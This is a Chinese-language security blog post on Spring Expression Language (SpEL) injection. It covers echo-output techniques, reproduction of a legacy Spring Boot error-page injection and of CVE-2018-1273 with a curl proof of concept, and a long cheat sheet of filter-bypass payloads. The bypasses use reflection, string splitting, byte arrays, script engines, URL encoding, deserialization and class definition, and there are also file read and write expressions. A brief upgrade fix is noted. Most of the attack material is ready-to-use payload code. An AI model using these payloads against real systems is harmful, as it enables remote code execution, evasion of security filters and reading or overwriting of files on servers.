• SpEL表达式注入漏洞学习和回显poc研究


    前言

    主要记载一下SpEL表达式的学习和研究笔记,主要是发现了一个不受限制的回显表达式,完善了一下基于nio做文件读写的表达式,直接看poc可以跳转到文章最后。

    环境

    springboot 2.5.3

    springboot 1.2.0.RELEASE

    cve-2018-1273: https://github.com/wearearima/poc-cve-2018-1273

    jdk 1.8u40

    基础学习和回显实验

    这一章节主要介绍和记录一下SpEL的基础语法,然后探索一下SpEL注入实现命令执行后的回显。

    语法基础

    由于tomcat对GET请求中的| {} 等特殊字符存在限制(RFC 3986),所以使用POST方法传递参数,controller代码如下

    @Controller
    @RequestMapping("test")
    public class TestController {
        @ResponseBody
        @RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
        public String index(String string) throws IOException {
            SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
            Expression expression = spelExpressionParser.parseExpression(string);
            String out = (String) expression.getValue();
            out = out.concat(" get");
            return out;
        }
    }
    

    由于getValue中没有传入参数,所以会从默认容器,也就是spring容器:ApplicationContext中获取;如果给定了容器,则会向具体的容器中获取。简单的实验环境就搭起来了,然后试试常用的SpEL语法

    'aaa',表示字符串aaa
    

    T(类名),可以指定使用一个类的类方法
    T(java.lang.Runtime).getRuntime().exec("calc")
    

    这里后端会执行语句,然后由于类型转换问题出现报错,所以没有返回值,springboot抛出空白页和500,但是计算器依然弹出。

    new 类名,可以直接new一个对象,再执行其中的方法
    

    可见直接new一个对象执行其中的方法,杀伤力极大!需要注意的是,类名最好用全限类名,也就是具体到某个包,不然会因为找不到具体类而报错。

    #{…} 用于执行SpEl表达式,并将内容赋值给属性
    ${…} 主要用于加载外部属性文件中的值
    

    两者还可以混合使用,但需要注意的是{}中的内容必须符合SpEL表达式。这里需要换一下SpEL的写法,否则会因为没有使用模板解析表达式,在传入#{后出现报错。

    @ResponseBody
    @RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
    public String index(String string) throws IOException {
        SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
        TemplateParserContext templateParserContext = new TemplateParserContext();
        Expression expression = spelExpressionParser.parseExpression(string, templateParserContext);
        Integer out = (Integer) expression.getValue();
        return Integer.toString(out);
    }
    

    现在可以使用#{}和${}了

    然后就是SpEL表达式通过xml配置和注解的使用,这里就不详细记录了,文档很多,我们常用的攻击方法也不会涉及到这一步。

    回显实验

    前面可以看到,通过SpEL可以执行系统命令,那么如何在一行SpEL语句中获得命令执行的回显呢?看了一下网上大佬们的思路,见http://rui0.cn/archives/1043

    • 使用commons-io这个组件实现回显,这种方式会受限于目标服务器是否存在这个组件,springboot默认环境下都没有用到这个组件。。
    T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())
    
    • 使用jdk>=9中的JShell,这种方式会受限于jdk的版本问题
    T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
    

    难道jdk原生的类没有办法实现回显的输出吗?我找了,还真有

    BufferedReader

    直接给payload

    new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()
    

    原理很简单,就不多介绍了,这种方式缺点也很明显,只能读取一行,如果执行dir ./命令就凉了,但单行输出还是可以用的

    Scanner

    payload如下

    new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()
    

    原理在于Scanner#useDelimiter方法使用指定的字符串分割输出,所以这里给一个乱七八糟的字符串即可,就会让所有的字符都在第一行,然后执行next方法即可获得所有输出。就是稍微难看了点:)

    SpEL漏洞复现

    首先时低版本下springboot中的错误处理导致的SpEL漏洞

    低版本SpringBoot中IllegalStateException

    影响版本:

    • 1.1.0-1.1.12
    • 1.2.0-1.2.7
    • 1.3.0

    修改pom.xml中的配置

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>1.2.0.RELEASE</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    

    再改一下controller

    @RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
    public String index(String string) throws IOException {
    	throw new IllegalStateException(string);
    }
    

    post传入SpEL表达式:

    可见直接解析了数据,再来试试其它payload呢

    很奇怪,表达式没什么问题,居然报错了,而且还不是springboot的报错页面。显然需要跟进springboot中的源代码,看看发生了什么。刚刚的输入产生的报错调用栈如下:

    org.springframework.expression.spel.SpelParseException: EL1069E:(pos 29): missing expected character '&'
    at org.springframework.expression.spel.standard.Tokenizer.process(Tokenizer.java:186)
    at org.springframework.expression.spel.standard.Tokenizer.<init>(Tokenizer.java:84)
    at org.springframework.expression.spel.standard.InternalSpelExpressionParser.doParseExpression(InternalSpelExpressionParser.java:121)
    at org.springframework.expression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:60)
    at org.springframework.expression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:32)
    at org.springframework.expression.common.TemplateAwareExpressionParser.parseExpression(TemplateAwareExpressionParser.java:76)
    at org.springframework.expression.common.TemplateAwareExpressionParser.parseExpression(TemplateAwareExpressionParser.java:62)
    at org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelPlaceholderResolver.resolvePlaceholder(ErrorMvcAutoConfiguration.java:210)
    at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:147)
    at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:162)
    at org.springframework.util.PropertyPlaceholderHelper.replacePlaceholders(PropertyPlaceholderHelper.java:126)
    at org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelView.render(ErrorMvcAutoConfiguration.java:189)
    at org.springframework.web.servlet.DispatcherServlet.render(DispatcherServlet.java:1228)
    at org.springframework.web.servlet.DispatcherServlet.processDispatchResult(DispatcherServlet.java:1011)
    at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:955)
    at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:877)
    at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:966)
    at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:868)
    at javax.servlet.http.HttpServlet.service(HttpServlet.java:644)
    省略下方tomcat调用栈
    

    可以看到,抛出报错之后,会从控制器dispatcherServlet捕获到程序抛出错误,从其doDispatch方法调用到其reder方法,那我们在render方法中打个断点往下调试一下,看看发生了什么

    render方法中,会先获取View对象,实际获取到的是spring中自动处理错误的view对象(ErrorMvcAutoConfiguration$SpelView),看类名也就知道其大概意思了,也就是返回报错情况下的试图。跟进一下view.render方法

    这里的逻辑也比较简单,继续跟进replacePlaceholders方法

    public String replacePlaceholders(String value, PlaceholderResolver placeholderResolver) {
    		Assert.notNull(value, "'value' must not be null");
    		return parseStringValue(value, placeholderResolver, new HashSet<String>());
    	}
    

    代码比较简单就不截图了,可见又调用了paseStringValue方法,继续跟进paseStringValue方法,就会看到重点逻辑了

    再看看strVal

    <html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>${timestamp}</div><div>There was an unexpected error (type=${error}, status=${status}).</div><div>${message}</div></body></html>
    

    这里需要注意末尾有个message,它就是前面的报错内容。这里的逻辑是在返回的页面内容找到${,这一步其实就是为了找到需要替换的位置,为替换成后面的参数做准备,然后进入while循环,这里意思也很明显,找到了需要替换的位置,然后把具体的值替换到result中。 而result是StringBuilder类,所以替换其中的字符串自然要用replace方法,那我们从replace倒推一下就好了。很方便就可以找到具体的值propVal是从palaceholderResovler.resolvePlaceholder中获取的,先跟进一下resolvePlaceholder方法

    直接可以看到我们熟悉的SpEL表达式,而从context中获取message,也就是我们的输入,然后使用HtmlUtils.htmlEscape这个静态方法进行过滤,跟进一下这个方法

    可以看到这个方法的逻辑是遍历每个字符,然后根据convertToReference方法进行替换,讲替换后的字符添加到最后的输出中。继续跟进一下convertToReference方法

    该方法对普通的单双引号、尖括号和&进行了替换,然后对特殊的char也进行了一定的替换,这类就不具体看了。回到我们前面的message获取

    这里可以看到replace前,再执行了一次parseStringValue方法,而我们传入的参数变成了${new java.lang.ProcessBuilder(&quot;calc&quot;).start()}很明显双引号被编码了,由于parseStringValue是根据${来找SpEL表达式的,所以传入#{会无效。进入resolvePlaceholder方法时,参数就变成了new java.lang.ProcessBuilder(&quot;calc&quot;).start()

    由于双引号被编码,出现了&(SpEL中不允许的字符),所以直接表达式无法被执行。到这里就解开了前面那个payload无效的原因。

    到这里不仅搞清楚低版本springboot抛出异常时,可能会被SpEL注入攻击的原理,也找到了payload被过滤的具体方式。下面来绕过一下就好了

    因为不能出现单双引号,所以借助一些String类的特性,可以传入byte数组,payload如下:

    ${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}

    如果直接传入#{xx},或者new xxx并不会执行SpEL,原理前面也从源代码中看到了。

    防御或修复方案

    升级springboot版本即可,在高版本中,处理传入的参数时,不会循环根据${}去找值,也就避免了利用message获取到抛出的错误内容后,将内容再根据${}取得其中的值丢给SpEL执行,从而消除了这种威胁。

    CVE-2018-1273 Spring Data Commons RCE

    测试环境https://github.com/wearearima/poc-cve-2018-1273

    POC: curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"

    用hackbar打一下这个poc

    弹出计算器,从IDEA里面看调用栈如下

    org.springframework.core.convert.ConverterNotFoundException: No converter found capable of converting from type [java.lang.ProcessImpl] to type [java.lang.String]
    at org.springframework.core.convert.support.GenericConversionService.handleConverterNotFound(GenericConversionService.java:324) ~[spring-core-4.3.16.RELEASE.jar:4.3.16.RELEASE]
    at org.springframework.core.convert.support.GenericConversionService.convert(GenericConversionService.java:206) ~[spring-core-4.3.16.RELEASE.jar:4.3.16.RELEASE]
    at org.springframework.expression.spel.support.StandardTypeConverter.convertValue(StandardTypeConverter.java:67) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
    at org.springframework.expression.spel.ExpressionState.convertValue(ExpressionState.java:158) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
    at org.springframework.expression.spel.ast.Indexer.getValueRef(Indexer.java:139) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
    at org.springframework.expression.spel.ast.CompoundExpression.getValueRef(CompoundExpression.java:66) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
    at org.springframework.expression.spel.ast.CompoundExpression.setValue(CompoundExpression.java:95) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
    at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:445) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
    at org.springframework.data.web.MapDataBinder$MapPropertyAccessor.setPropertyValue(MapDataBinder.java:187) ~[spring-data-commons-1.13.10.RELEASE.jar:na]
    下面太长省略了
    

    可以看到,SpEL的触发是从spring-data-commons-1.13.10.RELEASE.jar!MapDataBinder$MapPropertyAccessor.setPropertyValue开始的,那我们找到这里的源代码,看看具体咋回事

    可以看到具体操作是使用PARSER.parseExpression(propertyName),然后使用expression.setValue(context, value)触发SpEL注入,也就是说这里先对参数中给的key->value对中的key进行SpEL解析,最终造成SpEL注入。那么这种参数设置或绑定是如何触发的呢?

    回溯调用栈可以看到这里是data-commons这个包设定的自动化参数绑定,将参数的key->value传了进去,然后到达前面的SpEL注入攻击触发点。

    SpEL变形和bypass的tips

    原型

    // Runtime
    T(java.lang.Runtime).getRuntime().exec("calc")
    T(Runtime).getRuntime().exec("calc")
    
    // ProcessBuilder
    new java.lang.ProcessBuilder({'calc'}).start()
    new ProcessBuilder({'calc'}).start()
    

    bypass

    • 反射调用
    T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
    
    // 同上,需要有上下文环境
    #this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
    
    // 反射调用+字符串拼接,绕过正则过滤
    T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
    
    // 同上,需要有上下文环境
    #this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
    
    • 绕过getClass(过滤
    ''.getClass 替换为 ''.class.getSuperclass().class
    ''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[14].invoke(''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')
    

    需要注意,这里的14可能需要替换为15,不同jdk版本的序号不同

    • url编码绕过
    // 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符
    // byte数组内容的生成后面有脚本
    new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
    // char转字符串,再字符串concat
    T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
    
    • JavaScript引擎
    T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")
    
    T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
    
    • JavaScript+反射
    T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)
    
    • JavaScript+URL编码
    T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)
    
    • Jshell
    T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
    

    以下tips来自https://landgrey.me/blog/15/

    • 绕过T( 过滤
    T%00(new)
    这涉及到SpEL对字符的编码,%00会被直接替换为空
    
    • 使用Spring工具类反序列化,绕过new关键字
    T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0AB...'))
    // 可以结合CC链食用
    
    • 使用Spring工具类执行自定义类的静态代码块
    T(org.springframework.cglib.core.ReflectUtils).defineClass('Singleton',T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADIAtQ....'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())
    

    需要在自定义类写静态代码块 static{}

    读写文件和回显

    • 无版本限制回显
    new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()
    

    在这个思路上,可以对new、ProcessBuilder等关键字使用反射绕过

    • nio 读文件
    new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/1.txt"))))
    
    • nio 写文件
    T(java.nio.file.Files).write(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/1.txt")), '123464987984949'.getBytes(), T(java.nio.file.StandardOpenOption).WRITE)
    

    参考

    bypass openrasp SpEL RCE 的过程及思考

    SPEL表达式注入-入门篇

    由浅入深SpEL表达式注入漏洞


    作者:bitterz
    本文版权归作者和博客园所有,欢迎转载,转载请标明出处。
    如果您觉得本篇博文对您有所收获,请点击右下角的 [推荐],谢谢!
  • 相关阅读:
    mysql数据库 详解
    0810 smarty
    抽象类
    Nginx 负载均衡策略
    Nginx 负载均衡配置和策略
    内置Web Server
    PHP运行方式
    MySQL create table 语法
    MySQL 索引的使用
    MySQL的 explain 解析
  • 原文地址:https://www.cnblogs.com/bitterz/p/15206255.html
Copyright © 2020-2023  润新知